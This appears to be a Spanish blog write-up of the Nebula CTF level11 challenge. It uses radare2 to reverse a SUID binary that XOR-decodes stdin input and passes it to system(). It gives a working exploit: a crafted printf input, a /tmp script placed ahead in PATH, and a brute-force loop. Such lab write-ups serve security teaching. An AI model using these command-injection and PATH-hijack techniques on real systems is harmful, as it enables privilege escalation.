Pages

sábado, 21 de julio de 2018

Nebula CTF - level11 - 1ª parte

Vayamos con un reto un poco más complicado:

level11@nebula:/home/flag11$ ls -al
total 17
drwxr-x--- 3 flag11 level11    92 2012-08-20 18:58 .
drwxr-xr-x 1 root   root       80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag11 flag11    220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11   3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11    675 2011-05-18 02:54 .profile
drwxr-xr-x 2 flag11 flag11      3 2012-08-27 07:15 .ssh

Recuerda que en el primer post de esta serie de write-ups dijimos que nuestro enfoque para resolver los retos sería de caja negra (black-box), por lo que no disponemos del código fuente y haremos uso de radare2 para encontrar una solución al mismo. Comenzamos:

[0x08048760]> e asm.bytes=false
[0x08048760]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x08048760]> iz
000 0x00000d80 0x08048d80   4   5 (.rodata) ascii TEMP
001 0x00000d85 0x08048d85  18  19 (.rodata) ascii %s/%d.%c%c%c%c%c%c
002 0x00000d98 0x08048d98  18  19 (.rodata) ascii reading from stdin
003 0x00000dab 0x08048dab  16  17 (.rodata) ascii Content-Length: 
004 0x00000dbc 0x08048dbc  14  15 (.rodata) ascii invalid header
005 0x00000dcb 0x08048dcb  12  13 (.rodata) ascii fread length
006 0x00000dd8 0x08048dd8  24  25 (.rodata) ascii blue = %d, length = %d, 
007 0x00000df1 0x08048df1  10  11 (.rodata) ascii pink = %d\n
008 0x00000dfc 0x08048dfc  34  35 (.rodata) ascii fread fail(blue = %d, length = %d)
009 0x00000e1f 0x08048e1f   4   5 (.rodata) ascii mmap

Podríamos hacer la suposición a partir del volcado de strings que ./flag11 lee una cabecera Content-Length: desde la entrada estandar stdin, pero no deja de ser eso, una suposición. Veamos si encontramos funciones interesantes:

[0x08048760]> afl
0x080485e0    1 6            sym.imp.srandom
0x080485f0    1 6            sym.imp.printf
0x08048600    1 6            sym.imp.fgets
0x08048610    1 6            sym.imp.time
0x08048630    1 6            sym.imp.getuid
0x08048640    1 6            sym.imp.unlink
0x08048660    1 6            sym.imp.fread
0x08048670    1 6            sym.imp.getpid
0x08048680    1 6            sym.imp.getenv
0x08048690    1 6            sym.imp.setgid
0x080486a0    1 6            sym.imp.system
0x080486c0    1 6            sym.imp.open
0x080486d0    1 6            sym.imp.mmap
0x080486f0    1 6            sym.imp.write
0x08048700    1 6            sym.imp.getgid
0x08048710    1 6            sym.imp.asprintf
0x08048720    1 6            sym.imp.errx
0x08048730    1 6            sym.imp.setuid
0x08048740    1 6            sym.imp.atoi
0x08048750    1 6            sym.imp.random
0x08048814    1 435          sym.getrand
0x080489c7    4 116          sym.process
0x08048a3b   19 624          main
...

He recortado el listado para centrarme en los detalles interesantes. Entre todos los imports, sys.imp.system llama la atención. Por otro lado, las funciones propias de ./flag11 son main(), process(), getrand(). La pregunta del millón es ¿quién llama a system()?:

[0x08048760]> axt sym.imp.system
sym.process 0x8048a34 [CALL] call sym.imp.system

Perfecto. Analicemos a fondo entonces process():

[0x08048760]> s sym.process
[0x080489c7]> pdf
/ (fcn) sym.process 116
|   sym.process (char *string, size_t arg_ch);
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; arg char *string @ ebp+0x8
|           ; arg size_t arg_ch @ ebp+0xc
|           ; CALL XREFS from main (0x8048b4a, 0x8048c8a)
|           0x080489c7      push ebp
|           0x080489c8      mov ebp, esp
|           0x080489ca      sub esp, 0x28                              ; '('
|           0x080489cd      mov eax, dword [arg_ch]                    ; [0xc:4]=-1 ; 12
|           0x080489d0      and eax, 0xff
|           0x080489d5      mov dword [local_10h], eax
|           0x080489d8      mov dword [local_ch], 0
|       ,=< 0x080489df      jmp 0x8048a0c
|       |   ; CODE XREF from sym.process (0x8048a12)
|      .--> 0x080489e1      mov eax, dword [local_ch]
|      :|   0x080489e4      add eax, dword [string]
|      :|   0x080489e7      mov edx, dword [local_ch]
|      :|   0x080489ea      add edx, dword [string]
|      :|   0x080489ed      movzx edx, byte [edx]
|      :|   0x080489f0      mov ecx, edx
|      :|   0x080489f2      mov edx, dword [local_10h]
|      :|   0x080489f5      xor edx, ecx
|      :|   0x080489f7      mov byte [eax], dl
|      :|   0x080489f9      mov eax, dword [local_ch]
|      :|   0x080489fc      add eax, dword [string]
|      :|   0x080489ff      movzx eax, byte [eax]
|      :|   0x08048a02      movsx eax, al
|      :|   0x08048a05      sub dword [local_10h], eax
|      :|   0x08048a08      add dword [local_ch], 1
|      :|   ; CODE XREF from sym.process (0x80489df)
|      :`-> 0x08048a0c      mov eax, dword [local_ch]
|      :    0x08048a0f      cmp eax, dword [arg_ch]                    ; [0xc:4]=-1 ; 12
|      `==< 0x08048a12      jl 0x80489e1
|           0x08048a14      call sym.imp.getgid
|           0x08048a19      mov dword [esp], eax
|           0x08048a1c      call sym.imp.setgid
|           0x08048a21      call sym.imp.getuid                        ; uid_t getuid(void)
|           0x08048a26      mov dword [esp], eax
|           0x08048a29      call sym.imp.setuid
|           0x08048a2e      mov eax, dword [string]                    ; [0x8:4]=-1 ; 8
|           0x08048a31      mov dword [esp], eax                       ; const char *string
|           0x08048a34      call sym.imp.system                        ; int system(const char *string)
|           0x08048a39      leave
\           0x08048a3a      ret

process() recibe dos argumentos, un string y un entero que representa su longitud (lo llamaremos len). Ahora se genera un valor mediante:

mov eax, dword [arg_ch]
and eax, 0xff

Lo que podemos traducir como:

key = len & 0xff

El core de process() es un bucle principal que recorre todo el string y realiza una operacion XOR entre la clave y los bytes del string. En cada iteración la clave se regenera restándole a su valor actual el resultado de la operación anterior. Ahora sabemos que arg_ch=len, local_ch=i y local_10h=key. Si renombramos las variables en radare2 el desensamblado es más evidente:

[0x080489c7]> afvn arg_ch len
[0x080489c7]> afvn local_ch i
[0x080489c7]> afvn local_10h key
[0x080489c7]> pdf
/ (fcn) sym.process 116
|   sym.process (char *string, size_t len);
|           ; var int key @ ebp-0x10
|           ; var int i @ ebp-0xc
|           ; arg char *string @ ebp+0x8
|           ; arg size_t len @ ebp+0xc
|           ; CALL XREFS from main (0x8048b4a, 0x8048c8a)
|           0x080489c7      push ebp
|           0x080489c8      mov ebp, esp
|           0x080489ca      sub esp, 0x28
|           0x080489cd      mov eax, dword [len]
|           0x080489d0      and eax, 0xff
|           0x080489d5      mov dword [key], eax
|           0x080489d8      mov dword [i], 0
|       ,=< 0x080489df      jmp 0x8048a0c
|       |   ; CODE XREF from sym.process (0x8048a12)
|      .--> 0x080489e1      mov eax, dword [i]
|      :|   0x080489e4      add eax, dword [string]
|      :|   0x080489e7      mov edx, dword [i]
|      :|   0x080489ea      add edx, dword [string]
|      :|   0x080489ed      movzx edx, byte [edx]
|      :|   0x080489f0      mov ecx, edx
|      :|   0x080489f2      mov edx, dword [key]
|      :|   0x080489f5      xor edx, ecx
|      :|   0x080489f7      mov byte [eax], dl
|      :|   0x080489f9      mov eax, dword [i]
|      :|   0x080489fc      add eax, dword [string]
|      :|   0x080489ff      movzx eax, byte [eax]
|      :|   0x08048a02      movsx eax, al
|      :|   0x08048a05      sub dword [key], eax
|      :|   0x08048a08      add dword [i], 1
|      :|   ; CODE XREF from sym.process (0x80489df)
|      :`-> 0x08048a0c      mov eax, dword [i]
|      :    0x08048a0f      cmp eax, dword [len]                       ; [0xc:4]=-1 ; 12
|      `==< 0x08048a12      jl 0x80489e1
|           0x08048a14      call sym.imp.getgid
|           0x08048a19      mov dword [esp], eax
|           0x08048a1c      call sym.imp.setgid
|           0x08048a21      call sym.imp.getuid                        ; uid_t getuid(void)
|           0x08048a26      mov dword [esp], eax
|           0x08048a29      call sym.imp.setuid
|           0x08048a2e      mov eax, dword [string]                    ; [0x8:4]=-1 ; 8
|           0x08048a31      mov dword [esp], eax                       ; const char *string
|           0x08048a34      call sym.imp.system                        ; int system(const char *string)
|           0x08048a39      leave
\           0x08048a3a      ret

Finalmente se llama a system() con el resultado. Podemos traducir process() a pseudocódigo:

process(string, len)
{
    key = len & 0xff

    for (i = 0; i < len; i++)
    {
        string[i] = string[i] ^ key
        key = key - string[i]
    }

    system(string)
}

Se trata de un mecanismo de cifrado lineal antiguo e inseguro. process() se llama en dos ocasiones desde main(), lo sabemos por:

CALL XREFS from main (0x8048b4a, 0x8048c8a)

Examinemos main() para ver si encontramos la forma de llegar a process(). Mostraré solo los fragmentos relevantes:

[0x080489c7]> s sym.main
[0x08048a3b]> pdf
/ (fcn) main 624
|   main (int arg_ch);
|           ...
|           0x08048a3b      push ebp
|           0x08048a3c      mov ebp, esp
|           0x08048a3e      push edi
|           0x08048a3f      push esi
|           0x08048a40      and esp, 0xfffffff0
|           0x08048a43      sub esp, 0x550
|           ...
|           0x08048a5d      xor eax, eax
|           0x08048a5f      mov eax, dword [sym.stdin]                 ; obj.stdin ; [0x804a068:4]=0
|           0x08048a64      mov dword [nbytes], eax                    ; FILE *stream
|           0x08048a68      mov dword [size], 0x100                    ; [0x100:4]=-1 ; 256 ; int size
|           0x08048a70      lea eax, [str]                             ; 0x44c ; 1100
|           0x08048a77      mov dword [esp], eax                       ; char *s
|           0x08048a7a      call sym.imp.fgets                         ; char *fgets(char *s, int size, FILE *stream)

Se ejecuta:

fgets(str, 256, stdin)

Si la llamada no falla alcanzamos el siguiente trózo de código:

|           0x08048a97      lea eax, [str]                             ; 0x44c ; 1100
|           0x08048a9e      mov edx, eax
|           0x08048aa0      mov eax, str.Content_Length:               ; 0x8048dab ; "Content-Length: "
|           0x08048aa5      mov ecx, 0x10                              ; 16
|           0x08048aaa      mov esi, edx
|           0x08048aac      mov edi, eax
|           0x08048aae      repe cmpsb byte [esi], byte ptr es:[edi]   ; [0x170000001c:1]=255 ; 98784247836

Un código muy frecuente que se traduce como:

strcmp(str, "Content-Length: ")

Si la condición se cumple:

|           0x08048ad7      lea eax, [str]                             ; 0x44c ; 1100
|           0x08048ade      add eax, 0x10
|           0x08048ae1      mov dword [esp], eax                       ; const char *str
|           0x08048ae4      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x08048ae9      mov dword [local_3ch], eax

Entonces:

length = atoi(str + 16)

Por lo que se lee el entero que venga a continuación de la cabecera Content-Length: . Ahora encontramos una bifurcación importante, el modo visual VV de radare2 nos ayuda a interpretarlo:


Cada path se ejecuta dependiendo de si el entero leído anteriormente es inferior o superior a 1024. Estudiemos el primer caso (por simplicidad, recortamos aquellos puntos en los que el programa falla):

|       |   0x08048af8      mov eax, dword [sym.stdin]                 ; obj.stdin ; [0x804a068:4]=0
|       |   0x08048afd      mov ecx, eax
|       |   0x08048aff      mov edx, dword [local_3ch]                 ; [0x3c:4]=-1 ; '<' ; 60
|       |   0x08048b03      lea eax, [ptr]                             ; 0x4c ; 'L' ; 76
|       |   0x08048b07      mov dword [local_ch], ecx                  ; FILE *stream
|       |   0x08048b0b      mov dword [nbytes], 1                      ; size_t nmemb
|       |   0x08048b13      mov dword [size], edx                      ; size_t size
|       |   0x08048b17      mov dword [esp], eax                       ; void *ptr
|       |   0x08048b1a      call sym.imp.fread                         ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
*ptr, size_t size, size_t nmemb, FILE *stream)
|       |   0x08048b1f      mov edx, dword [local_3ch]                 ; [0x3c:4]=-1 ; '<' ; 60
|       |   0x08048b23      cmp eax, edx
|      ,==< 0x08048b25      je 0x8048b3b
|      ||   0x08048b27      mov dword [size], str.fread_length         ; [0x8048dcb:4]=0x61657266 ; "fread length"
|      ||   0x08048b2f      mov dword [esp], 1
|      ||   0x08048b36      call sym.imp.err
|      ||   ; CODE XREF from main (0x8048b25)
|      `--> 0x08048b3b      mov eax, dword [local_3ch]                 ; [0x3c:4]=-1 ; '<' ; 60
|       |   0x08048b3f      mov dword [size], eax
|       |   0x08048b43      lea eax, [ptr]                             ; 0x4c ; 'L' ; 76
|       |   0x08048b47      mov dword [esp], eax
|       |   0x08048b4a      call sym.process

En pseudocódigo:

if (fread(str, length, 1, stdin) == length)
    process(str, length)

Si consultamos la definición de fread() en la página man, observamos que:

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);

En el código el segundo y tercer argumento se han intercambiado "erróneamente", y fread() sólo leerá un byte desde stdin. La conclusión es que en este path de ejecución, solo podemos hacer que process() se ejecute si proporcionamos a ./flag11 la siguiente entrada:

Content-Length: 1\nH\n

El caracter utilizado puede ser cualquier que tras realizar la operación c XOR 0x01 produzca otro caracter imprimible. En nuestro ejemplo:

'H' ^ 0x01 = 'I'

Hacemos una prueba:

level11@nebula:/home/flag11$ printf "Content-Length: 1\nH\n" | ./flag11
sh: I@K: command not found
level11@nebula:/home/flag11$ printf "Content-Length: 1\nH\n" | ./flag11
sh: $'I\300@': command not found
level11@nebula:/home/flag11$ printf "Content-Length: 1\nH\n" | ./flag11
sh: I0$: command not found

fread() solo lee un byte, por lo que no podemos introducir un byte NULL como terminador de cadena. Cuando se llama a system(str), además de nuestro carácter, str contiene memoria no inicializada. Nota: Para aquellos interesados en ver como un atacante puede aprovecharse del uso de memoria no inicializada en entornos locales, le recomiendo el conocido artículo Controlling uninitialized memory with LD_PRELOAD. No obstante, podemos hacer bruteforce, y esperar a que aparezca un byte \x00 en alguno de los intentos:

level11@nebula:/home/flag11$ printf '#!/bin/sh\n getflag' > /tmp/I
level11@nebula:/home/flag11$ chmod +x /tmp/I
level11@nebula:/home/flag11$ export PATH=/tmp:$PATH
level11@nebula:/home/flag11$ while true; do printf "Content-Length: 1\nH\n" | ./flag11; done
sh: $'I\340m': command not found
getflag is executing on a non-flag account, this doesn't count
sh: $'I\260^': command not found
sh: $'I\320\346': command not found
sh: -c: line 0: unexpected EOF while looking for matching ``'
sh: -c: line 1: syntax error: unexpected end of file
sh: I@*: command not found
getflag is executing on a non-flag account, this doesn't count

El resultado es positivo. Por desgracia getflag no se ejecuta como usuario flag11. Si hacemos memoria, en el desensamblado de process() se producen las siguientes llamadas:

0x08048a14      call sym.imp.getgid
0x08048a19      mov dword [esp], eax
0x08048a1c      call sym.imp.setgid
0x08048a21      call sym.imp.getuid
0x08048a26      mov dword [esp], eax
0x08048a29      call sym.imp.setuid

Lo que es equivalente a:

setgid(getgid())
setuid(getuid())

Lo que dropea los privilegios del program SUID. Estas instrucciones no figuraban en el reto original ni en el código fuente mostrado en la página oficial, por lo tanto, damos el resultado por válido.

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...